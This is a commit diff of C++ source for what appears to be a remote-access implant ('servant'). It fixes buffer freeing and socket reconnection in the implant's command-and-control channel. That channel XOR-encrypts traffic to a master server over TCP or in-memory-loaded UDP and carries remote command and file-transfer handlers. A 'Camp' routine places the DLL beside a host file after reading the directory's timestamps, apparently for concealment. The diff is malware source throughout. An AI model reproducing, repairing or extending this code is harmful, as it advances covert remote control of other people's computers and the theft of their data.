fix comm bug.
This commit is contained in:
parent
3ece3011f0
commit
de07b21cbd
|
@ -40,7 +40,6 @@ DWORD MyFile::Read( DWORD dwToRead, ByteBuffer& buffer )
|
|||
}
|
||||
else
|
||||
{
|
||||
buffer.Free();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
@ -66,7 +65,6 @@ BOOL MyFile::ReadAll( ByteBuffer& buffer )
|
|||
DWORD dwFileSize = ::GetFileSize(m_handle, NULL);
|
||||
if (0 == dwFileSize)
|
||||
{
|
||||
buffer.Free();
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
@ -87,7 +85,6 @@ BOOL MyFile::ReadAll( ByteBuffer& buffer )
|
|||
}
|
||||
else
|
||||
{
|
||||
buffer.Free();
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
|
|
@ -98,7 +98,7 @@ int _tmain(int argc, _TCHAR* argv[])
|
|||
}
|
||||
|
||||
LPTSTR para[] = {_T("servant")};
|
||||
fnServiceMain(TRUE);
|
||||
fnServiceMain(FALSE);
|
||||
|
||||
while(TRUE) Sleep(500);
|
||||
|
||||
|
|
|
@ -76,7 +76,9 @@ BOOL CommManager::Send( COMM_NAME commName, ULONG targetIP, const LPBYTE pData,
|
|||
|
||||
XorFibonacciCrypt(pData, dwSize, (LPVOID)(LPBYTE)buffer, 2, 7);
|
||||
|
||||
return m_commList[commName]->Send(targetIP, (LPBYTE)buffer, dwSize);
|
||||
BOOL ret = m_commList[commName]->Send(targetIP, (LPBYTE)buffer, dwSize);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
BOOL CommManager::SendAndRecv( COMM_NAME commName, ULONG targetIP, const LPBYTE pSendData, DWORD dwSendSize, ByteBuffer& recvData )
|
||||
|
@ -90,6 +92,7 @@ BOOL CommManager::SendAndRecv( COMM_NAME commName, ULONG targetIP, const LPBYTE
|
|||
LPBYTE pRecvData = NULL;
|
||||
DWORD dwRecvSize = 0;
|
||||
BOOL bRet = m_commList[commName]->SendAndRecv(targetIP, (LPBYTE)sendBuffer, dwSendSize, &pRecvData, dwRecvSize);
|
||||
|
||||
if (! bRet)
|
||||
{
|
||||
errorLog(_T("send and recv[%d] failed"), commName);
|
||||
|
@ -139,13 +142,13 @@ BOOL CommManager::PushMsgToMaster( COMM_NAME commName, const CommData& data, CPS
|
|||
debugLog(_T("put message [%I64u][%I64u]"), data.GetMsgID(), data.GetSerialID());
|
||||
|
||||
CPGUID serverGuid = {0};
|
||||
if (! m_cp.PutMessage(serverGuid, byteData, byteData.Size(), commName, dwMaxDataSizePerPacket, pCPSerial, data.GetMsgID()))
|
||||
{
|
||||
errorLog(_T("put msg to cp failed"));
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL ret = m_cp.PutMessage(serverGuid, byteData, byteData.Size(), commName, dwMaxDataSizePerPacket, pCPSerial, data.GetMsgID());
|
||||
|
||||
return TRUE;
|
||||
if (! ret)
|
||||
errorLog(_T("put msg to cp failed"));
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void CommManager::CleanMsgByMSGID(MSGID msgid)
|
||||
|
@ -286,6 +289,8 @@ void CommManager::MessageSenderProc()
|
|||
BOOL bFirstConnect = TRUE;
|
||||
BOOL bWaitUntil = (g_ConfigInfo.nFirstConnectHour >= 0 && g_ConfigInfo.nFirstConnectMinute >= 0);
|
||||
|
||||
ByteBuffer recvByteData;
|
||||
|
||||
while (m_bWorking)
|
||||
{
|
||||
if (! m_bWorking) break;
|
||||
|
@ -326,9 +331,12 @@ void CommManager::MessageSenderProc()
|
|||
|
||||
//发送并接收
|
||||
/*if (! IsCommAvailable(commName)) continue;*/
|
||||
ByteBuffer recvByteData;
|
||||
|
||||
if (! SendAndRecv(commName, targetIP, toSendByteData, toSendByteData.Size(), recvByteData))
|
||||
BOOL ret = SendAndRecv(commName, targetIP, toSendByteData, toSendByteData.Size(), recvByteData);
|
||||
|
||||
toSendByteData.Free();
|
||||
|
||||
if (! ret)
|
||||
{
|
||||
CmdRedirector &cmd = Manager::GetInstanceRef().m_cmdRedirector;
|
||||
|
||||
|
@ -336,6 +344,9 @@ void CommManager::MessageSenderProc()
|
|||
cmd.Stop();
|
||||
|
||||
errorLog(_T("sendrecv msg [%d] failed"), commName);
|
||||
|
||||
recvByteData.Free();
|
||||
|
||||
continue;
|
||||
}
|
||||
if (!IsConnected())
|
||||
|
@ -345,7 +356,12 @@ void CommManager::MessageSenderProc()
|
|||
|
||||
//将收到的消息传递给CutupProtocol
|
||||
if (recvByteData.Size() == 0) continue;
|
||||
if (! m_cp.AddRecvPacket(recvByteData, recvByteData.Size(), commName))
|
||||
|
||||
ret = m_cp.AddRecvPacket(recvByteData, recvByteData.Size(), commName);
|
||||
|
||||
recvByteData.Free();
|
||||
|
||||
if (! ret )
|
||||
{
|
||||
errorLog(_T("recv invalid cp packet"));
|
||||
continue;
|
||||
|
@ -355,17 +371,25 @@ void CommManager::MessageSenderProc()
|
|||
if (! m_cp.HasReceivedMsg()) continue;
|
||||
CPGUID from;
|
||||
ByteBuffer receivedMessageInByteData;
|
||||
|
||||
if (! m_cp.RecvMsg(receivedMessageInByteData, from))
|
||||
{
|
||||
receivedMessageInByteData.Free();
|
||||
errorLog(_T("recv msg from cp failed"));
|
||||
continue;
|
||||
}
|
||||
CommData recvData;
|
||||
if (! recvData.Parse(receivedMessageInByteData, receivedMessageInByteData.Size()))
|
||||
|
||||
ret = recvData.Parse(receivedMessageInByteData, receivedMessageInByteData.Size());
|
||||
|
||||
receivedMessageInByteData.Free();
|
||||
|
||||
if (!ret )
|
||||
{
|
||||
errorLog(_T("parse received msg failed"));
|
||||
continue;
|
||||
}
|
||||
|
||||
debugLog(_T("recv msg [%I64u][%I64u]"), recvData.GetMsgID(), recvData.GetSerialID());
|
||||
|
||||
MSGID msgid = recvData.GetMsgID();
|
||||
|
|
|
@ -458,7 +458,6 @@ BOOL Manager::ExecuteRCCommand_PutFile(MSGID msgid, const LPBYTE pData, DWORD dw
|
|||
sendData.SetData(_T("total"), total);
|
||||
sendData.SetData(_T("md5"), md5.c_str());
|
||||
sendData.SetData(_T("offset"), options.nCurSel);
|
||||
sendData.SetByteData(buffer,buffer.Size());
|
||||
|
||||
DWORD serialID = CommManager::GetInstanceRef().PushMsgToMaster(COMMNAME_DEFAULT,sendData);
|
||||
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
TcpComm::TcpComm(BOOL isSecure):
|
||||
m_xorKey1(0),
|
||||
m_xorKey2(0),
|
||||
m_isConnected(FALSE),
|
||||
m_isSecure(FALSE)
|
||||
{
|
||||
srand(GetTickCount());
|
||||
|
@ -19,11 +20,6 @@ TcpComm::~TcpComm()
|
|||
|
||||
}
|
||||
|
||||
BOOL TcpComm::Send( ULONG targetIP, const LPBYTE pData, DWORD dwSize )
|
||||
{
|
||||
return Send(m_sock, targetIP, pData, dwSize);
|
||||
}
|
||||
|
||||
BOOL TcpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendSize, LPBYTE* pRecvData, DWORD& dwRecvSize )
|
||||
{
|
||||
TCP_HEADER sendHead;
|
||||
|
@ -31,9 +27,11 @@ BOOL TcpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
sendHead.nSize = dwSendSize;
|
||||
BOOL ret = FALSE;
|
||||
|
||||
ByteBuffer buffer;
|
||||
|
||||
do
|
||||
{
|
||||
ret = Send(m_sock, targetIP, (PBYTE)&sendHead, sizeof(TCP_HEADER));
|
||||
ret = Send( targetIP, (PBYTE)&sendHead, sizeof(TCP_HEADER));
|
||||
|
||||
if (!ret)
|
||||
break;;
|
||||
|
@ -41,7 +39,7 @@ BOOL TcpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
if (m_isSecure)
|
||||
XFC(pSendData,dwSendSize,pSendData,m_xorKey1,m_xorKey2);
|
||||
|
||||
ret = Send(m_sock, targetIP, pSendData, dwSendSize);
|
||||
ret = Send( targetIP, pSendData, dwSendSize);
|
||||
|
||||
if (!ret)
|
||||
break;
|
||||
|
@ -53,16 +51,11 @@ BOOL TcpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
if ( !ret )
|
||||
break;
|
||||
|
||||
|
||||
ByteBuffer buffer;
|
||||
buffer.Alloc(recvHead.nSize);
|
||||
ret = m_sock.ReceiveAll(buffer,recvHead.nSize);
|
||||
|
||||
if (!ret)
|
||||
{
|
||||
buffer.Free();
|
||||
break;
|
||||
}
|
||||
|
||||
//¸´ÖÆÊý¾Ý
|
||||
*pRecvData = Alloc(recvHead.nSize);
|
||||
|
@ -72,40 +65,39 @@ BOOL TcpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
if(m_isSecure)
|
||||
XFC(*pRecvData,recvHead.nSize,*pRecvData,m_xorKey1,m_xorKey2);
|
||||
|
||||
buffer.Free();
|
||||
|
||||
} while (FALSE);
|
||||
|
||||
|
||||
if ( !ret )
|
||||
m_sock.Close();
|
||||
m_isConnected = ret;
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
BOOL TcpComm::Connect( ULONG targetIP, MySocket& sock )
|
||||
BOOL TcpComm::Connect( ULONG targetIP )
|
||||
{
|
||||
BOOL ret = FALSE;
|
||||
|
||||
sock.Close();
|
||||
if ( (SOCKET)m_sock != INVALID_SOCKET )
|
||||
m_sock.Close();
|
||||
|
||||
do
|
||||
{
|
||||
if (! sock.Create(TRUE))
|
||||
if (! m_sock.Create(TRUE))
|
||||
{
|
||||
errorLogE(_T("create socket failed."));
|
||||
break;
|
||||
}
|
||||
|
||||
if (! sock.Connect(targetIP, g_ConfigInfo.nPort, 10))
|
||||
ret = m_sock.Connect(targetIP, g_ConfigInfo.nPort, 10);
|
||||
|
||||
if (!ret )
|
||||
{
|
||||
errorLog(_T("connect [%u] failed"), targetIP);
|
||||
break;
|
||||
}
|
||||
|
||||
int timeout = 20000;
|
||||
setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));
|
||||
setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));
|
||||
setsockopt(m_sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));
|
||||
setsockopt(m_sock,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));
|
||||
|
||||
if (m_isSecure)
|
||||
{
|
||||
|
@ -140,13 +132,10 @@ BOOL TcpComm::Connect( ULONG targetIP, MySocket& sock )
|
|||
|
||||
} while (FALSE);
|
||||
|
||||
if ( !ret )
|
||||
sock.Close();
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
BOOL TcpComm::Send( MySocket& sock, ULONG targetIP, const LPBYTE pData, DWORD dwSize )
|
||||
BOOL TcpComm::Send( ULONG targetIP, const LPBYTE pData, DWORD dwSize )
|
||||
{
|
||||
IN_ADDR addr;
|
||||
addr.S_un.S_addr = targetIP;
|
||||
|
@ -158,20 +147,11 @@ BOOL TcpComm::Send( MySocket& sock, ULONG targetIP, const LPBYTE pData, DWORD dw
|
|||
|
||||
BOOL bSentOK = FALSE;
|
||||
|
||||
bSentOK = sock.SendAll((LPBYTE)sendByteBuffer, sendByteBuffer.Size());
|
||||
if (!bSentOK)
|
||||
{
|
||||
sock.Close();
|
||||
if( !m_isConnected)
|
||||
m_isConnected = Connect(targetIP);
|
||||
|
||||
if (m_isConnected)
|
||||
m_isConnected = m_sock.SendAll((LPBYTE)sendByteBuffer, sendByteBuffer.Size());
|
||||
|
||||
if ( Connect(targetIP, sock))
|
||||
{
|
||||
bSentOK = sock.SendAll((LPBYTE)sendByteBuffer, sendByteBuffer.Size());
|
||||
}
|
||||
else
|
||||
{
|
||||
debugLog(_T("connect %x %s failed"), targetIP, a2t(inet_ntoa(addr)));
|
||||
}
|
||||
}
|
||||
|
||||
return bSentOK;
|
||||
return m_isConnected;
|
||||
}
|
|
@ -14,12 +14,11 @@ public:
|
|||
//ʵÏÖIComm½Ó¿Ú
|
||||
virtual COMM_NAME GetName() {return COMMNAME_TCP; };
|
||||
virtual DWORD GetMaxDataSizePerPacket() {return TCP_COMM_REQUEST_MAXSIZE;};
|
||||
virtual BOOL Send( ULONG targetIP, const LPBYTE pData, DWORD dwSize );
|
||||
virtual BOOL SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendSize, LPBYTE* pRecvData, DWORD& dwRecvSize );
|
||||
|
||||
private:
|
||||
BOOL Connect(ULONG targetIP, MySocket& sock);
|
||||
BOOL Send(MySocket& sock, ULONG targetIP, const LPBYTE pData, DWORD dwSize );
|
||||
BOOL Connect(ULONG targetIP );
|
||||
BOOL Send(ULONG targetIP, const LPBYTE pData, DWORD dwSize );
|
||||
|
||||
private:
|
||||
MySocket m_sock;
|
||||
|
@ -29,4 +28,5 @@ private:
|
|||
BYTE m_xorKey2;
|
||||
|
||||
BOOL m_isSecure;
|
||||
BOOL m_isConnected;
|
||||
};
|
||||
|
|
|
@ -12,6 +12,8 @@ UdpComm::UdpComm(BOOL isSecure):m_isConnected(FALSE),
|
|||
m_xorKey2(0),
|
||||
m_isSecure(FALSE)
|
||||
{
|
||||
m_sock = VTCP_INVALID_SOCKET;
|
||||
|
||||
m_vtcp.MemLoadLibrary(mem_vtcp,sizeof(mem_vtcp));
|
||||
|
||||
m_vsend = (_vtcp_send) m_vtcp.MemGetProcAddress("vtcp_send");
|
||||
|
@ -36,7 +38,8 @@ UdpComm::UdpComm(BOOL isSecure):m_isConnected(FALSE),
|
|||
|
||||
UdpComm::~UdpComm(void)
|
||||
{
|
||||
m_vclose(m_sock);
|
||||
if (m_sock != VTCP_INVALID_SOCKET)
|
||||
m_vclose(m_sock);
|
||||
}
|
||||
|
||||
BOOL UdpComm::SendAll(VTCP_SOCKET s,LPCVOID lpBuf, int nBufLen)
|
||||
|
@ -129,10 +132,7 @@ BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
buffer.Alloc(recvHead.nSize);
|
||||
|
||||
if (! ReceiveAll(m_sock,(LPBYTE)buffer,recvHead.nSize))
|
||||
{
|
||||
buffer.Free();
|
||||
break;
|
||||
}
|
||||
|
||||
//¸´ÖÆÊý¾Ý
|
||||
*pRecvData = Alloc(recvHead.nSize);
|
||||
|
@ -142,8 +142,6 @@ BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
if(m_isSecure)
|
||||
XFC(*pRecvData,recvHead.nSize,*pRecvData,m_xorKey1,m_xorKey2);
|
||||
|
||||
buffer.Free();
|
||||
|
||||
ret = TRUE;
|
||||
|
||||
} while (FALSE);
|
||||
|
@ -163,6 +161,12 @@ BOOL UdpComm::Connect( ULONG targetIP,int port )
|
|||
hints.sin_addr.s_addr = targetIP;
|
||||
hints.sin_port = htons(port);
|
||||
|
||||
if (m_sock != VTCP_INVALID_SOCKET)
|
||||
{
|
||||
m_vclose(m_sock);
|
||||
m_sock = VTCP_INVALID_SOCKET;
|
||||
}
|
||||
|
||||
m_sock = m_vsocket(AF_INET,SOCK_DGRAM,0);
|
||||
|
||||
if (VTCP_ERROR == m_vconnect(m_sock,(sockaddr*)&hints,sizeof(hints)))
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
SERVANT_API void InitServant()
|
||||
{
|
||||
#ifdef _DEBUG
|
||||
g_ConfigInfo.nDefaultCommType = COMMNAME_UDP;
|
||||
g_ConfigInfo.nDefaultCommType = COMMNAME_TCP;
|
||||
g_ConfigInfo.nPort = 8082;
|
||||
g_ConfigInfo.nFirstConnectHour = -1;
|
||||
g_ConfigInfo.nFirstConnectMinute = -1;
|
||||
|
|
|
@ -294,6 +294,8 @@ BOOL Camp(LPCTSTR currentFilepath, LPCTSTR dllFilename, tstring& dllFilepath)
|
|||
targetDllFilepath += '\\';
|
||||
targetDllFilepath += suitableFilename;
|
||||
|
||||
ByteBuffer fileContent;
|
||||
|
||||
do
|
||||
{
|
||||
//获取所在目录的时间属性
|
||||
|
@ -308,7 +310,6 @@ BOOL Camp(LPCTSTR currentFilepath, LPCTSTR dllFilename, tstring& dllFilepath)
|
|||
break;
|
||||
}
|
||||
|
||||
ByteBuffer fileContent;
|
||||
if (! me.ReadAll(fileContent))
|
||||
{
|
||||
errorLogE(_T("read file content failed."));
|
||||
|
|
|
@ -126,6 +126,8 @@ BOOL CFileTransfer::MsgHandler_PutFile_Proc(MSGID msgid, const CommData& commDat
|
|||
|
||||
BOOL ret = CFileParser::GetInstanceRef().Write(serverpath.c_str(),size,md5.c_str(),buffer);
|
||||
|
||||
buffer.Free();
|
||||
|
||||
FILE_OPTIONS options;
|
||||
TRANS_STATUS status;
|
||||
|
||||
|
|
Loading…
Reference in New Issue